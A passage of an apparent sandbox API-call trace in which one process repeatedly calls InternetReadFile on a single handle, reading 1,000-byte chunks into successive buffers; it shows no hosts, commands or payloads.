hFile=0xcc000c, lpBuffer=0x3340430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33413d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33413d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33417b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33417b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.828] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.828] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.828] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.828] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.828] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.829] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.829] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33436f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33436f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.844] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33442b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33442b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33461f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33461f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33465d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33465d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33469c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33469c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3346da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3346da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33490d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33490d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33494b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33494b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33498a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33498a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3349c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3349c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33509e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33509e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33511b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33511b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33515a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33515a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33530f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33530f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33534e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33534e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33538c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33538c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3353cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3353cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33563c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33563c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33567a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33567a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33586e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33586e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33592a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33592a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a240*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 